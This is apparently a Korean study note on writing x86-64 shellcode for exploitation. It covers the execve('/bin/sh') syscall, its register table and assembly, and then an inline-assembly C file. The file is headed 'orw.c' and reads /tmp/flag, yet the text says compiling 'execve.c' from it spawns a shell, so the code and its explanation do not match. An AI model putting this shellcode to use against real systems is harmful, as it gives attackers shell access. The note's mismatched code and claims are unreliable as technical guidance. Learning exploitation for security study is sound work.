
난 이런 외강내유가 좋더라
shell은 운영체제와 소통하게 해주는 유저 인터페이스다.
윈도우 운영체제에서의 터미널과 같다고 생각하면 된다.
shell을 통해서 시스템을 제어할 수 있으므로, shell을 획득하면 해킹 성공이다.
execve는 syscall로 호출하는 함수로 이를 통해서 shell을 호출할 수 있다.
그래서 일반적으로 execve shellcode를 shellcode라고 부른다.
execve("/bin/sh", null, null)
위의 코드를 어셈블리로 구현해주면 된다.
이때 execve의 각 인자는 아래와 같은 속성을 가진다.
| syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
|---|---|---|---|---|
| execve | 0x3b | const char *filename | const char const argv | const char const envb |
어셈블리는 아래와 같이 작성할 수 있다.
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax \n"
"mov rdi, rsp \n"
"xor rsi, rsi \n"
"xor rdx, rdx \n"
"mov rax, 2 \n"
"syscall \n"
"\n"
"mov rdi, rax \n"
"mov rsi, rsp \n"
"sub rsi, 0x30 \n"
"mov rdx, 0x30 \n"
"mov rax, 0x0 \n"
"syscall \n"
"\n"
"mov rdi, 1 \n"
"mov rax, 0x1 \n"
"syscall \n"
"\n"
"xor rdi, rdi \n"
"mov rax, 0x3c \n"
"syscall");
void run_sh();
int main() { run_sh(); }
위와 같이 코드를 작성할 수 있다.
터미널에서 아래의 명령어로 컴파일을 시행한다.
gcc -o execve execve.c -masm=intel
./execve 명령어로 /bin/sh에 접근할 수 있다!